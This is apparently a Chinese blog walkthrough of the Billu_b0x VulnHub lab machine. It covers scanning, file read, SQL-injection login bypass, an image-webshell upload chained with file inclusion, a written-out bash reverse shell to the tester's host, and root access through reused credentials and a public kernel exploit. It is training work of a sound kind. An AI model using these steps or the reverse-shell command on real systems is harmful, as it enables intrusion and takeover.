当前位置: 首页 > news >正文

VulnHub-Bilu_b0x靶机笔记

Bilu_b0x 靶机

概述

Vulnhub 的一个靶机,包含了 sql 注入,文件包含,代码审计,内核提权。整体也是比较简单的内容,和大家一起学习

Billu_b0x.zip 靶机地址:

https://pan.baidu.com/s/1VWazR7tpm2xJZIGUSzFvDw?pwd = u785

提取码: u785

一、nmap 扫描

1)主机发现

sudo nmap -sn 192.168.84.0/24

-sn 参数在 root 权限下会发送 icmp 、 arp、SYN 扫描包,而在普通用户权限下只会发送 icmp 扫描包

Nmap scan report for 192.168.84.129
Host is up (0.00045s latency).
MAC Address: 00:0C:29:41:BD:2B (VMware)

看到 192.168.84.129 为新增加 ip

2)端口扫描

nmap -sT --min-rate 10000 -p- -o ports 192.168.84.129
Nmap scan report for 192.168.84.129
Host is up (0.00043s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 facfa252c4faf575a7e2bd60833e7bde (DSA)
|   2048 88310c789880ef33fa2622edd09bbaf8 (RSA)
|_  256 0e5e330350c91eb3e75139a44a1064ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: --==[[IndiShell Lab]]==--
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 00:0C:29:41:BD:2B (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 18 15:32:28 2024 -- 1 IP address (1 host up) scanned in 6.64 seconds

3)默认脚本扫描

nmap --script=vuln -p22,80 -o vuln 192.168.84.129
Nmap scan report for 192.168.84.129
Host is up (0.00036s latency).PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /test.php: Test page
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:41:BD:2B (VMware)# Nmap done at Wed Sep 18 15:33:45 2024 -- 1 IP address (1 host up) scanned in 30.92 seconds

二、web 渗透

打开 80 端口

image-20240918194947354

看到它让我展示 sqli skill 这肯定是存在 sql 注入漏洞了。

尝试了比较简单的注入,发现并没有什么用。也查看了源码等信息。

1)目录爆破

sudo gobuster dir -u http://192.168.84.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
==============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.84.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 3267]
/images               (Status: 301) [Size: 317] [--> http://192.168.84.129/images/]
/c                    (Status: 200) [Size: 1]
/show                 (Status: 200) [Size: 1]
/add                  (Status: 200) [Size: 307]
/test                 (Status: 200) [Size: 72]
/in                   (Status: 200) [Size: 47526]
/head                 (Status: 200) [Size: 2793]
/uploaded_images      (Status: 301) [Size: 326] [--> http://192.168.84.129/uploaded_images/]
/panel                (Status: 302) [Size: 2469] [--> index.php]
/head2                (Status: 200) [Size: 2468]
/server-status        (Status: 403) [Size: 295]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

全部打开看看

a) add 页面

image-20240918200206032

尝试上传正常的文件,但没什么反应

b) in

phpinfo()的页面,暴露了一些敏感的信息,需要的话可以回来看

在这里插入图片描述

c) test 页面

image-20240918200339629

他说我们缺少一个 file 参数,看到 file 参数,肯定会想要测试文件包含导致的任意文件读取。

给他拼接参数

192.168.84.129/test?file=./index.php

image-20240918200834768

看来不是 GET 参数,尝试 POST 请求。

curl -X POST -d "file=/etc/passwd" http://192.168.84.129/test

image-20240918204711178

看到有结果返回,说明存在文件的任意读取漏洞,这里看一下 /etc/shadow,没有访问权限

2)代码审计

a)index 审计

index.php 页面看到它的挑衅,我们看看源码,给它注入进去(白盒还想难到我__

curl -X POST -d "file=./index.php" http://192.168.84.129/test
<?php
session_start();include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{$_SESSION['logged']='';}if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{echo "you are logged in :)";header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{$uname=str_replace('\'','',urldecode($_POST['un']));$pass=str_replace('\'','',urldecode($_POST['ps']));$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {$row = mysqli_fetch_assoc($result);echo "You are allowed<br>";$_SESSION['logged']=true;$_SESSION['admin']=$row['username'];header('Location: panel.php', true, 302);}
else
{echo "<script>alert('Try again');</script>";
}}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";?>

在 30-33 行看到处理登陆的逻辑

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);

看到语句的过滤只对单引号 进行了过滤,构造语句

当输入正常的 pass=1234uname=zhang 时,最终的 sql 语句会成为这个样子

select * from auth where pass='1234' and uname='zhang';

开始构造

pass=1234 \uname= zhang

此时 sql 语句会变成

select * from auth where pass='1234 \' and uname='zhang';

看到 pass 的值变为了 1234 \' and uname= , uname 参数的字符串逃逸了出来,变成了可执行的 sql 语句

最终 payload

pass=1234 \uname= or 1=1 --+

select * from auth where pass='1234 \' and uname='or 1=1 -- ';

image-20240919120202341

为了方便大家观看,我把前段的 password 属性改为了 text

看到登陆成功

image-20240919120319909

默认跳转了 panel.php

b)panel 审计

默认跳转到了 panel.php 页面,而这个页面上也有一些我们感兴趣的功能。

看到它有一个添加用户的接口,可以允许我们上传文件

image-20240919120607623

点击上传,我们当时目录爆破时看到了一个 uploaded_images 目录,这个目录我们有理由猜测他就是文件上传的目录

查看一下

image-20240919121219049

看到了我们上传的 test.jpg 文件

查看 panel.php 源码

它有上传的功能,我们能看到它的源码,肯定要去看一下它的上传逻辑的过滤情况,审计一下会不会出一些对我们有用的漏洞

curl -X POST -d "file=./panel.php" http://192.168.84.129/test -o panel.php
<?php
session_start();include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{header('Location: index.php', true, 302);exit();}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{unset($_SESSION['logged']);unset($_SESSION['admin']);header('Location: index.php', true, 302);
}
echo '<hr><br>';echo '<form method=post><select name=load><option value="show">Show Users</option><option value="add">Add User</option>
</select> &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{$dir=getcwd();$choice=str_replace('./','',$_POST['load']);if($choice==='add'){include($dir.'/'.$choice.'.php');die();}if($choice==='show'){include($dir.'/'.$choice.'.php');die();}else{include($dir.'/'.$_POST['load']);}}if(isset($_POST['upload']))
{$name=mysqli_real_escape_string($conn,$_POST['name']);$address=mysqli_real_escape_string($conn,$_POST['address']);$id=mysqli_real_escape_string($conn,$_POST['id']);if(!empty($_FILES['image']['name'])){$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);$image=array('jpeg','jpg','gif','png');if(in_array($r,$image)){$finfo = @new finfo(FILEINFO_MIME); $filetype = @$finfo->file($_FILES['image']['tmp_name']);if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )){if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])){echo "Uploaded successfully ";$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; mysqli_query($conn, $update);}}else{echo "<br>i told you dear, only png,jpg and gif file are allowed";}}else{echo "<br>only png,jpg and gif file are allowed";}
}
}
?>

看到代码在包含 load 参数的文件时,在 load != add && load != show 时会自动去 include 其他参数的文件

在这里插入图片描述

而在上传的逻辑中,它采用了白名单的方式,我们并不好绕过,可以尝试上传图片马结合文件包含的方式 getshell

三、获得立足点

image-20240919131412183

构造图片马

wget http://192.168.84.129/uploaded_images/jack.jpg    
vim jack.jpg

image-20240919141241552

我们上传上去尝试获得立足点

改个名字吧

mv jack.jpg lingx5.jpg

image-20240919133507583

上传成功

在这里插入图片描述

打开 burpsuite 捕获一下这个请求,点击 continue 捕获

image-20240919134138766

看到

image-20240919134200250

我们发送到 repeater 模块重放测试,更改 load 参数的值,GET 参数对特殊字符做 url 编码

POST /panel.php?cmd=ip+a  HTTP/1.1

在这里插入图片描述

看到 ip a 命令被正常执行,尝试反弹 shell

bash -c "bash -i >& /dev/tcp/192.168.84.128/4444 0>&1"

url 编码

POST /panel.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/192.168.84.128/4444+0>%261" 

image-20240919141836206

获得了立足点

四、提权

1)信息收集提权

image-20240919142147381

看到我们没有目录爆破出来的目录 phpmy,进去看一看

image-20240919165945608

看到 config 配置文件,我们的兴趣肯定是最大的,进去查看

在 config 文件中看到数据库的用户和密码

image-20240919170926613

我们有理由怀疑数据库的密码和机器用户的密码是一个

尝试碰撞一下 ssh

凭据 root:roottoor

sudo ssh root@192.168.84.129 

看到命令提示符为 root

image-20240919174147620

2)利用内核提权

内核提权不建议用,因为有太多的不确定因素,很容易导致系统崩溃。

www-data 用户下,用命令 uname -a 查看系统的版本信息

image-20240919174700992

看到内核版本为 linux 3.13.0

在漏洞库中搜索内核的公开漏洞

searchsploit kernel 3.13.0

image-20240919175025271

看到了两个符合版本的提权漏洞,下载下来

searchsploit kernel 3.13.0 -m 37292
searchsploit kernel 3.13.0 -m 37293

上传到靶机,到 /tmp 目录下,这个目录是所有用户都有写权限的

image-20240919181203171

查看 37292.c 的内容,里面的注释会教我们怎么利用

image-20240919181535335

跟着操作

image-20240919181712742

成功提权到 root

这里的提权我本来还想尝试 udf 提权的,但是它的 phpmyadmin 的后台我登录不进去。应该是机器在 mysql 的配置文件做了一些安全配置,这里没办法登陆,所以就没有进行

总结

  • 我们首先对机器进行了 nmap 的基本扫描,在扫描的信息中发现 22,80 端口是暴露的,我们首先对 web 页面进行渗透测试。
  • web 首页他就告诉我们存在 sql 注入,但是我们不知道过滤规则。进行了目录爆破,在爆破出来的文件目录中发现了 test 文件有一个 file 参数,指定文件和路径可以查看源码信息。
  • 对 index.php 页面进行代码审计,成功利用 sql 注入,登陆进入系统。对 panel 进行代码审计,发现了一个文件包含漏洞,通过上传图片马与文件包含的结合利用成功获得系统立足点
  • 提权操作
    • 通过对 phpmy 目录信息的查看,我们发现了 mysql 数据库的用户名和密码信息,进行 ssh 撞库提权到了 root
    • 通过对内核漏洞 CVE-2015-1328 的利用成功提权到 root

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 《在华为交换机上配置防止 ARP 攻击》
  • 对商品分类系统的若干问题的思考
  • python编程,把所有子目录和文件输出到文本文件
  • 基于JAVA+SpringBoot+Vue的线上辅导班系统的开发与设计
  • 基于CNN的10种物体识别项目
  • 2.《DevOps》系列K8S部署CICD流水线之部署NFS网络存储与K8S创建StorageClass
  • [leetcode刷题]面试经典150题之6轮转数字(简单)
  • 【C++篇】走进C++标准模板库:STL的奥秘与编程效率提升之道
  • python:编写一个函数查找字符串中的最长公共前缀
  • Python: networkx绘图
  • python基础题练习
  • 【Java 问题】基础——Java 概述
  • 如何删除EXCELL文件中的空行?
  • leaflet加载GeoServer的WMS地图服务.md
  • C++学习笔记(34)
  • CoolViewPager:即刻刷新,自定义边缘效果颜色,双向自动循环,内置垂直切换效果,想要的都在这里...
  • CSS 专业技巧
  • DataBase in Android
  • JavaWeb(学习笔记二)
  • Laravel Telescope:优雅的应用调试工具
  • markdown编辑器简评
  • React中的“虫洞”——Context
  • 分布式事物理论与实践
  • 如何学习JavaEE,项目又该如何做?
  • 正则表达式
  • 【运维趟坑回忆录】vpc迁移 - 吃螃蟹之路
  • Java数据解析之JSON
  • 从如何停掉 Promise 链说起
  • ​LeetCode解法汇总518. 零钱兑换 II
  • ​secrets --- 生成管理密码的安全随机数​
  • # 安徽锐锋科技IDMS系统简介
  • #C++ 智能指针 std::unique_ptr 、std::shared_ptr 和 std::weak_ptr
  • $L^p$ 调和函数恒为零
  • (1)虚拟机的安装与使用,linux系统安装
  • (13)Latex:基于ΤΕΧ的自动排版系统——写论文必备
  • (30)数组元素和与数字和的绝对差
  • (C语言)编写程序将一个4×4的数组进行顺时针旋转90度后输出。
  • (c语言+数据结构链表)项目:贪吃蛇
  • (MonoGame从入门到放弃-1) MonoGame环境搭建
  • (ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY)讲解
  • (solr系列:一)使用tomcat部署solr服务
  • (苍穹外卖)day03菜品管理
  • (动手学习深度学习)第13章 计算机视觉---图像增广与微调
  • (二)基于wpr_simulation 的Ros机器人运动控制,gazebo仿真
  • (分布式缓存)Redis分片集群
  • (附源码)springboot太原学院贫困生申请管理系统 毕业设计 101517
  • (附源码)计算机毕业设计高校学生选课系统
  • (蓝桥杯每日一题)love
  • (每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理第3章 信息系统治理(一)
  • (四)activit5.23.0修复跟踪高亮显示BUG
  • (正则)提取页面里的img标签
  • (转)chrome浏览器收藏夹(书签)的导出与导入
  • ******之网络***——物理***
  • .mat 文件的加载与创建 矩阵变图像? ∈ Matlab 使用笔记
  • .mysql secret在哪_MySQL如何使用索引